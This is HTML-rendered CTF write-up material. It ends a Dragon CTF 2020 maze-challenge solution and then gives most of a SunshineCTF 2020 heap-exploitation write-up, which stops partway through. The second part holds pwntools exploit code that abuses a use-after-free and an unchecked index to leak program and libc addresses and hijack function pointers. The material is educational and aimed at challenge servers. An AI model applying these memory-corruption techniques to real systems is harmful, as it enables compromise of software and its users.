<span class="n">indices</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">([</span> <span class="p">(</span><span class="n">i</span><span class="o">-</span><span class="n">posx</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">rows</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="k">if</span> <span class="n">x</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">],</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">ind</span><span class="p">:</span> <span class="nb">abs</span><span class="p">(</span><span class="n">ind</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
<span class="k">for</span> <span class="n">ind</span> <span class="ow">in</span> <span class="n">indices</span><span class="p">:</span>
<span class="n">dist</span> <span class="o">=</span> <span class="n">ind</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">path_next</span> <span class="o">=</span> <span class="n">path</span>
<span class="c1"># Go to the hole</span>
<span class="k">if</span> <span class="n">dist</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="n">path_next</span> <span class="o">+=</span> <span class="s1">'E'</span> <span class="o">*</span> <span class="n">dist</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">path_next</span> <span class="o">+=</span> <span class="s1">'W'</span> <span class="o">*</span> <span class="nb">abs</span><span class="p">(</span><span class="n">dist</span><span class="p">)</span>
<span class="c1"># Go through the hole in the wall</span>
<span class="n">path_next</span> <span class="o">+=</span> <span class="s1">'SS'</span>
<span class="c1"># Search for the next hole</span>
<span class="n">path_found</span> <span class="o">=</span> <span class="n">mazerunner</span><span class="p">(</span><span class="n">rows</span><span class="p">[</span><span class="mi">2</span><span class="p">:],</span> <span class="n">path</span> <span class="o">=</span> <span class="n">path_next</span><span class="p">,</span> <span class="n">posx</span> <span class="o">=</span> <span class="n">posx</span> <span class="o">+</span> <span class="n">dist</span><span class="p">)</span>
<span class="c1"># Return the path if we have a path that is "short enough"</span>
<span class="k">if</span> <span class="n">path_found</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">path_found</span><span class="p">)</span> <span class="o"><</span> <span class="n">PATH_MAX</span><span class="p">:</span>
<span class="k">return</span> <span class="n">path_found</span>
<span class="k">with</span> <span class="n">log</span><span class="o">.</span><span class="n">progress</span><span class="p">(</span><span class="s1">'Running through the Maze!'</span><span class="p">)</span> <span class="k">as</span> <span class="n">plog</span><span class="p">:</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">mazerunner</span><span class="p">(</span><span class="n">maze</span><span class="p">[</span><span class="mi">2</span><span class="p">:])</span>
<span class="n">plog</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s1">'YAY, we found the exit!'</span><span class="p">)</span>
</code></pre></div>
<p>This will provide us with the following path through the previously leaked maze. </p>
<p><img alt="Maze Path" src="https://w0y.at/images/dragonctf2020/memmaze/maze_path.png"></p>
<p>Now all that's left is to enter a valid name (path to a <em>writable</em> file) and send our solution to the server to get the flag.</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Your name:'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'We_0wn_Y0u'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Solution size (max 91809):'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)))</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Solution:'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readall</span><span class="p">())</span>
</code></pre></div>
<p>If we run this we get:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>./solver.
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Opening<span class="w"> </span>connection<span class="w"> </span>to<span class="w"> </span>memorymaze.hackable.software<span class="w"> </span>on<span class="w"> </span>port<span class="w"> </span><span class="m">1337</span>:<span class="w"> </span>Done
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Leaking<span class="w"> </span>Maze:<span class="w"> </span>Done
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>We<span class="w"> </span>got<span class="w"> </span>the<span class="w"> </span>maze!
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Running<span class="w"> </span>through<span class="w"> </span>the<span class="w"> </span>Maze!:<span class="w"> </span>YAY,<span class="w"> </span>we<span class="w"> </span>found<span class="w"> </span>the<span class="w"> </span>exit!
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>Receiving<span class="w"> </span>all<span class="w"> </span>data:<span class="w"> </span>Done<span class="w"> </span><span class="o">(</span>47B<span class="o">)</span>
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Closed<span class="w"> </span>connection<span class="w"> </span>to<span class="w"> </span>memorymaze.hackable.software<span class="w"> </span>port<span class="w"> </span><span class="m">1337</span>
b<span class="s2">"\nCONGRATULATIONS:DrgnS{Y0u_h4v3_f0unD_y0uR_w4y}\n"</span>
</code></pre></div>
<p>So the final flag was <strong>DrgnS{Y0u_h4v3_f0unD_y0uR_w4y}</strong>!</p>
<p>The full solution (including the parts to print the maze_images from above) can be found <a href="https://w0y.at/data/ctf/dragonctf2020/memmaze/mazerunner.py">here</a>.</p>
<hr>
<h1>Annex</h1>
<p>If you want to try it out yourself, you need to get nsjail up and running. Here is how to do it on an Ubuntu 20.04.1 LTS:</p>
<ol>
<li>Install build deps:</li>
</ol>
<div class="highlight"><pre><span></span><code><span class="c1"># apt-get install build-essential autoconf autotools-dev automake pkg-config m4 flex bison libprotobuf-dev protobuf-compiler libnl-3-dev libnl-genl-3-dev libnl-route-3-dev</span>
</code></pre></div>
<ol>
<li>Clone nsjail in /home</li>
</ol>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>.
$<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/google/nsjail
</code></pre></div>
<ol>
<li>Build nsjail</li>
</ol>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>nsjail
$<span class="w"> </span>git<span class="w"> </span>checkout<span class="w"> </span>tags/3.0<span class="w"> </span>-b<span class="w"> </span><span class="m">3</span>.0
$<span class="w"> </span>make
</code></pre></div>
<ol>
<li>Create missing sys dir</li>
</ol>
<div class="highlight"><pre><span></span><code># mkdir -p /sys/fs/cgroup/memory/NSJAIL
</code></pre></div>SunshineCTF 2020 - Lil Chompy's2020-11-10T00:00:00+01:002024-02-05T19:10:11+01:00superdautag:w0y.at,2020-11-10:/writeup/2020/11/10/sunshinectf-2020-lil-chompys.html<p>pwn, custom heap implementation</p><h2>Overview</h2>
<p>Featuring custom heap management, this Pwn challenge lets us embark on a quest to hack into a CLI theme park designer to free the alligator Lil Chompys from the clutches of BSides Orlando.
We are given the binary together with its c source code, containing the application as well as a custom heap implementation.</p>
<h2>A theme park planner</h2>
<p>First off, the program presents us with a password check. Looking at the source code reveals...</p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Official BSides Orlando Theme Park Designer Terminal</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Enter password:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="w"> </span><span class="s">"lilChompy2020!"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p>Well, this was uneventful. We now know the password, <code>lilChompy2020!</code>.</p>
<p>After entering the correct password, the program allows us to save up to 20 attractions, each having a type (integer between 0 and 8) and a name with up to 50 characters. Attractions and names are stored on the heap:</p>
<div class="highlight"><pre><span></span><code><span class="n">Attraction</span><span class="o">*</span><span class="w"> </span><span class="n">attractions</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>
<span class="p">[...]</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Attraction</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FunKind</span><span class="w"> </span><span class="cm">/*= int*/</span><span class="w"> </span><span class="n">kind</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">name</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">Attraction</span><span class="p">;</span>
<span class="p">[...]</span>
<span class="kt">void</span><span class="w"> </span><span class="n">addAttraction</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="n">Attraction</span><span class="o">*</span><span class="w"> </span><span class="n">fun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cg_malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">fun</span><span class="p">));</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">funName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cg_malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="n">fun</span><span class="o">-></span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">funName</span><span class="p">;</span>
<span class="w"> </span><span class="n">attractions</span><span class="p">[</span><span class="n">funIndex</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fun</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>While looking for potential vulnerabilities, one function immediately stands out:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">renameAttraction</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Enter the lot number of the amusement to rename:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="n">lot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pickLot</span><span class="p">();</span>
<span class="w"> </span><span class="n">Attraction</span><span class="o">*</span><span class="w"> </span><span class="n">fun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">attractions</span><span class="p">[</span><span class="n">lot</span><span class="p">];</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="n">cg_free</span><span class="p">(</span><span class="n">fun</span><span class="o">-></span><span class="n">name</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Enter a new name for this attraction:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="n">size</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">newName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getLine</span><span class="p">(</span><span class="o">&</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">newName</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="sc">'\0'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Attraction name must not be empty!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">funName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cg_malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">memcpy</span><span class="p">(</span><span class="n">funName</span><span class="p">,</span><span class="w"> </span><span class="n">newName</span><span class="p">,</span><span class="w"> </span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">fun</span><span class="o">-></span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">funName</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>The name is freed immediately. If we then enter an empty string as the new name, the function returns and that reference is kept.</p>
<h2>To The Heap</h2>
<p>Fortunately, the file <code>heap_internal.h</code> contains some high-level explanations of how the heap works. Key points for now: when a new block is requested, the system tries to find the smallest free space to accommodate it. At the start, memory regions are allocated consecutively.</p>
<p>When an attraction is created, the data on the heap looks as follows:</p>
<p><img alt="heap with single attraction" src="https://w0y.at/images/sunshinectf2020/lil_chompys/heap1.png"></p>
<p>Data is managed in chunks of 16 bytes each. Each allocation included a 16 byte block for metadata, followed by the actual contents.
When we try to rename an attraction with an empty string, the memory management forgets about the name block.</p>
<p><img alt="heap after free" src="https://w0y.at/images/sunshinectf2020/lil_chompys/heap2.png" width="60%"></p>
<p>The heap management prevents double-frees, but we can create a new attraction:</p>
<p><img alt="heap with interlaced attractions" src="https://w0y.at/images/sunshinectf2020/lil_chompys/heap3.png"></p>
<p>Now, we can modify the name of the first attraction. If the new name does not fill more blocks than the old one, doing so will free the second block, immediately re-allocate it and copy the new name over. Thankfully, null bytes are not appended.
This basically gives us complete control over the <code>Attraction</code> struct of the second attraction.</p>
<h2>Leaking Things</h2>
<p>How can this be used to leak useful information? Overwriting the name pointer does not really make sense: fully overwriting it is not possible useful of address randomization, and partially overwriting it does not allow us to break out of the heap.
Thankfully, overwriting the <code>kind</code> can trigger another vulnerability:</p>
<div class="highlight"><pre><span></span><code><span class="k">static</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">funToString</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"empty lot"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"roller coaster"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"water ride"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"carnival ride"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"skill game"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"arcade game"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"live show"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"haunted house"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"alligator pit"</span><span class="p">,</span>
<span class="p">};</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">viewPark</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">attractions</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-></span><span class="n">name</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">kindString</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">funToString</span><span class="p">[</span><span class="n">attractions</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-></span><span class="n">kind</span><span class="p">];</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Lot #%u: %s (%s)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">kindString</span><span class="p">);</span>
<span class="w"> </span><span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div>
<p>This function does not check any bounds on <code>kind</code>! This allows us to fill the <code>kindString</code> address with pretty much any other quadword from the application's address space. Analyzing a memory dump from gdb reveals that there exists a pointer pointing at itself at an offset of <code>-11 * 8</code> bytes from <code>funToString</code>.
Putting this together gives us a way to leak the program's address space:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"chal.2020.sunshinectf.org"</span><span class="p">,</span> <span class="mi">20003</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'lilChompy2020!'</span><span class="p">)</span> <span class="c1"># password</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction (=> #1) ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span> <span class="c1"># ... of type 3</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'AAAA'</span><span class="p">)</span> <span class="c1"># ... with name "AAAA"</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># ... attraction #1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">''</span><span class="p">)</span> <span class="c1"># ... to ""</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction (=> #2) ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span> <span class="c1"># ... of type 3</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'AAAA'</span><span class="p">)</span> <span class="c1"># ... with name "AAAA"</span>
<span class="c1"># calculate offset_index_to_add</span>
<span class="n">gdb_self_pointer</span> <span class="o">=</span> <span class="mh">0x555555558008</span>
<span class="n">gdb_address_space</span> <span class="o">=</span> <span class="mh">0x555555554000</span>
<span class="n">gdb_fun_to_string</span> <span class="o">=</span> <span class="mh">0x555555558060</span>
<span class="n">offset_index_to_add</span> <span class="o">=</span> <span class="p">(</span><span class="n">gdb_self_pointer</span> <span class="o">-</span> <span class="n">gdb_fun_to_string</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>
<span class="c1"># => offset_index_to_add == -11</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># ... attraction #1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="n">offset_index_to_add</span><span class="p">,</span> <span class="n">sign</span><span class="o">=</span><span class="kc">True</span><span class="p">))</span> <span class="c1"># ... and overwrite the kind of #2</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># print park</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'Lot #2: AAAA ('</span><span class="p">)</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="c1"># delete \n and closing brace</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\0</span><span class="s1">'</span>
<span class="n">address</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="n">program_address_space</span> <span class="o">=</span> <span class="n">address</span> <span class="o">-</span> <span class="p">(</span><span class="n">gdb_self_pointer</span> <span class="o">-</span> <span class="n">gdb_address_space</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">address</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">program_address_space</span><span class="p">))</span>
</code></pre></div>
<p>Leaking the address of libc can now be done by overwriting <code>Attraction::name</code> with a GOT address:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># continuing</span>
<span class="n">gdb_puts_got</span> <span class="o">=</span> <span class="mh">0x555555557f88</span>
<span class="n">leaked_puts_got</span> <span class="o">=</span> <span class="n">program_address_space</span> <span class="o">+</span> <span class="p">(</span><span class="n">gdb_puts_got</span> <span class="o">-</span> <span class="n">gdb_address_space</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># ... attraction #1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span>
<span class="n">p32</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># ... overwrite kind of #2 with 1</span>
<span class="n">p32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># ... padding</span>
<span class="n">p64</span><span class="p">(</span><span class="n">leaked_puts_got</span><span class="p">)</span> <span class="c1"># ... overwrite the name pointer of #2</span>
<span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># print park</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'Lot #2: '</span><span class="p">)</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">' (roller coaster)'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\0</span><span class="s1">'</span>
<span class="n">address</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">'libc-2.23.so'</span><span class="p">)</span>
<span class="n">libc_address_space</span> <span class="o">=</span> <span class="n">address</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'puts'</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">address</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_address_space</span><span class="p">))</span>
</code></pre></div>
<h2>Pwning Things</h2>
<p>It stands to reason that we can somehow abuse the bugs to write to arbitrary memory. Thankfully the program already provides a nice sink for this:</p>
<div class="highlight"><pre><span></span><code><span class="k">static</span><span class="w"> </span><span class="n">OnSubmitFunc</span><span class="o">*</span><span class="w"> </span><span class="n">submitFuncs</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitRollerCoaster</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitWaterRide</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitCarnivalRide</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitSkillGame</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitArcadeGame</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitLiveShow</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitHauntedHouse</span><span class="p">,</span>
<span class="w"> </span><span class="o">&</span><span class="n">onSubmitAlligatorPit</span><span class="p">,</span>
<span class="p">};</span>
<span class="p">[...]</span>
<span class="kt">void</span><span class="w"> </span><span class="n">submitPark</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"The theme park design has been submitted! Let's take a look at the expected park experience.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="n">i</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">ARRAYCOUNT</span><span class="p">(</span><span class="n">attractions</span><span class="p">);</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">attractions</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FunKind</span><span class="w"> </span><span class="n">kind</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">attractions</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-></span><span class="n">kind</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">FUN_MIN</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="n">kind</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">kind</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="n">FUN_MAX</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">submitFuncs</span><span class="p">[</span><span class="n">kind</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">FUN_MIN</span><span class="p">](</span><span class="n">attractions</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-></span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Let's hope this one's a winner! We'll begin construction soon!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>If we can manipulate the function pointers in <code>submitFuncs</code>, calling <code>submitPark</code> will execute an arbitrary function via <code>submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);</code>, and even use the user-provided name as an argument.</p>
<p>One trick to do this: manipulate the <code>name</code> pointer of an attraction (as we have done before), and then rename that attraction to free the pointer. This will call <code>cg_free(...)</code> with arbitrary input.</p>
<p>To build the actual exploit, we need to consider how the heap management works internally. There are actually two data structures: the blocks of meta-information store the size of the previous and current block, which is used to form a linked list. Furthermore, the blocks of metadata contain two pointers each, used to make up the <em>free tree</em>, a binary tree for free blocks sorted by the size.</p>
<p>More concretely, each 16 byte metadata block includes:</p>
<ul>
<li>A <code>44</code> bit encoded pointer to the left child in the <em>free tree</em> (if the block is currently free)</li>
<li><code>1</code> unused bit</li>
